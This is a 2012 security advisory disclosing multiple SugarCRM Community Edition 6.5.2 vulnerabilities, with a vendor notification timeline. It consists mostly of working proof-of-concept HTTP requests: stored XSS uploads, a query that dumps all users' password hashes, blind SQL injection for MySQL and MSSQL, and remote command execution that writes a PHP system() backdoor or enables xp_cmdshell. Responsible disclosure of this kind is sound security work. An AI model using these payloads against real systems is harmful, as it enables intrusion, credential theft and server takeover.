################################################################################
# SugarCRM Community Edition 6.5.2 (Build 8410) multiple vulnerabilities       #
################################################################################
# Brendan Coles # http://itsecuritysolutions.org/                 # 2012-07-26 #
################################################################################

There are multiple security vulnerabilities in SugarCRM Community Edition 6.5.2
(Build 8410) which may allow an attacker to take control of the software.

# Version:  6.5.2 (Build 8410)
# Homepage: http://sugarcrm.com/
# Vendor Notification:
  # 2012-07-26 -> secure@sugarcrm.com
  # 2012-07-27 <- vendor confirmed receipt
  # 2012-07-29 -> request for patch date
  # 2012-07-31 <- vendor advised issues will be patched in 6.5.3
  # 2012-08-24 -- vendor released 6.5.3
  # 2012-08-30 -- advisory released

################################################################################
# Packaged Software                                                            #
################################################################################

SugarCRM Community Edition 6.5.2 (Build 8410) comes in multiple flavors:

# FastStack Windows Installer 6.5.2 with MySQL
Apache          2.2.21
MySQL           5.5.16
PHP             5.3.8
phpMyAdmin      3.4.8
Zend Framework  1.10.8

# FastStack Windows Installer 6.5.2 with SQL Server
Apache          2.2.21
Microsoft SQL Server Express 2005
PHP             5.3.8
Zend Framework  1.10.8

# FastStack Linux Installer 6.5.2 with MySQL
Apache          2.2.21
MySQL           5.5.16
PHP             5.3.8
phpMyAdmin      3.4.8
Zend Framework  1.10.8

# FastStack Mac OS X Installer 6.5.2 with MySQL # Not tested
Apache
MySQL
PHP
Zend Framework


################################################################################
# Information Disclosure # Full Path Disclosure # Unauthenticated              #
################################################################################

The application creates the following file once any user has authenticated and
completed the "wizard" introduction.

/sugarcrm/cache/include/externalAPI.cache.js

This file leaks some application details including the local file path.


################################################################################
# Information Disclosure # Username Enumeration # Unauthenticated              #
################################################################################

Unauthenticated users can enumerate valid usernames and user e-mail addresses.

The following proof of concept is available:

/sugarcrm/vcal_server.php?type=vfb&email=will@example.com
/sugarcrm/vcal_server.php?type=vfb&user_name=will


################################################################################
# Information Disclosure # User Schedules # Unauthenticated                    #
################################################################################

By default all users have an empty key for the iCalendar allowing
unauthenticated users to see users' schedules.

The following proof of concept is available:

/sugarcrm/ical_server.php?type=ics&key=&email=will@example.com
/sugarcrm/ical_server.php?type=ics&key=&user_name=will


################################################################################
# Persistent Cross-Site Scripting (XSS) # Authenticated - User Role            #
################################################################################

The following proof of concept is available:

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2
Content-Type: multipart/form-data; boundary=---------------------------2921238217421
Content-Length: 496

-----------------------------2921238217421
Content-Disposition: form-data; name="module"

Documents
-----------------------------2921238217421
Content-Disposition: form-data; name="action"

Save
-----------------------------2921238217421
Content-Disposition: form-data; name="filename_file"; filename="anything.jpg"
Content-Type: image/jpeg

<script>alert(document.cookie+" on "+document.domain)</script>

-----------------------------2921238217421


# Response:

HTTP/1.1 301 Moved Permanently
Date: Mon, 23 Jul 2012 11:08:38 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT
Location: index.php?module=Documents&action=DetailView&record=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca
Content-Length: 0
Content-Type: text/html; charset=UTF-8


# View the payload here:

/sugarcrm/index.php?entryPoint=download&id=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca&type=Documents


################################################################################
# Persistent Cross-Site Scripting (XSS) # Authenticated - User Role            #
################################################################################

The following proof of concept is available:

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2
Content-Type: multipart/form-data; boundary=---------------------------2921238217421
Content-Length: 658

-----------------------------2921238217421
Content-Disposition: form-data; name="module"

Notes
-----------------------------2921238217421
Content-Disposition: form-data; name="action"

Save
-----------------------------2921238217421
Content-Disposition: form-data; name="filename_file"; filename="anything.jpg"
Content-Type: image/jpeg

<script>alert(document.cookie+" on "+document.domain)</script>

-----------------------------2921238217421


# Response:

HTTP/1.1 301 Moved Permanently
Date: Mon, 23 Jul 2012 11:08:38 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT
Location: index.php?module=Notes&action=DetailView&record=6403f695-bc09-25b9-9140-500d41008d09
Content-Length: 0
Content-Type: text/html; charset=UTF-8


# View the payload here:

/sugarcrm/index.php?entryPoint=download&id=6403f695-bc09-25b9-9140-500d41008d09&type=Notes


################################################################################
# Information Disclosure # User Hash Disclosure # Authenticated - User Role    #
################################################################################

An authenticated user can view the password hashes of all users.

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 144
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":"and","field_list":["user_name","first_name","last_name","is_admin","user_hash","system_generated_password"]}]}


################################################################################
# Blind SQL Injection # Authenticated - User Role                              #
################################################################################

# MySQL on Windows and Linux

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 215
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") and substring(version(),1,6) like '5.5.16'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


# MSSQL on Windows

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7
Content-Length: 238

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") and substring(@@version,1,25) like 'microsoft sql server 2005'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


################################################################################
# Remote Command Execution # Authenticated - User Role                         #
################################################################################

# MySQL on Windows

The default MySQL configuration allows arbitrary command execution, if it is
running on the same host as the web server, by leveraging the aforementioned
blind SQL injection.

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 207
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") union select \"<?php @system($_REQUEST['cmd']); ?>\" FROM users INTO OUTFILE 'C://Program Files//sugarcrm-6.5.2//apps//sugarcrm//htdocs//backdoor.php'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}

# View the backdoor here:

/sugarcrm/backdoor.php?cmd=dir


# MSSQL on Windows

The default MSSQL configuration allows arbitrary command execution on the
database server by leveraging the aforementioned blind SQL injection.

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 207
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":");EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC master..xp_cmdshell 'calc.exe';--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


# MySQL on Linux

By default the database user does not have write access to the web root in the
FastStack Linux Installer.


################################################################################
# Remote Command Execution # Authenticated - Administrator Role                #
################################################################################

A user with Administrator roles can execute arbitrary commands by abusing the
logging functionality.

The following proof of concept is available:

# Change the log file name to backdoor.php

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4;
Content-Type: multipart/form-data; boundary=---------------------------295221455122937
Content-Length: 592

-----------------------------295221455122937
Content-Disposition: form-data; name="action"

SaveConfig
-----------------------------295221455122937
Content-Disposition: form-data; name="module"

Configurator
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_name"

backdoor
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_ext"

.php
-----------------------------295221455122937
Content-Disposition: form-data; name="save"

  Save
-----------------------------295221455122937--


# Write to the error log 'backdoor.php' by triggering a database error

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4;
Content-Length: 230

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") union select \"<?php @system($_REQUEST[\"cmd\"]); ?>\"--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


# View the backdoor here:

/sugarcrm/backdoor.php?cmd=dir


# Change the log file name back to "sugarcrm.log"

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4;
Content-Type: multipart/form-data; boundary=---------------------------295221455122937
Content-Length: 592

-----------------------------295221455122937
Content-Disposition: form-data; name="action"

SaveConfig
-----------------------------295221455122937
Content-Disposition: form-data; name="module"

Configurator
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_name"

sugarcrm
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_ext"

.log
-----------------------------295221455122937
Content-Disposition: form-data; name="save"

  Save
-----------------------------295221455122937--


################################################################################
EOF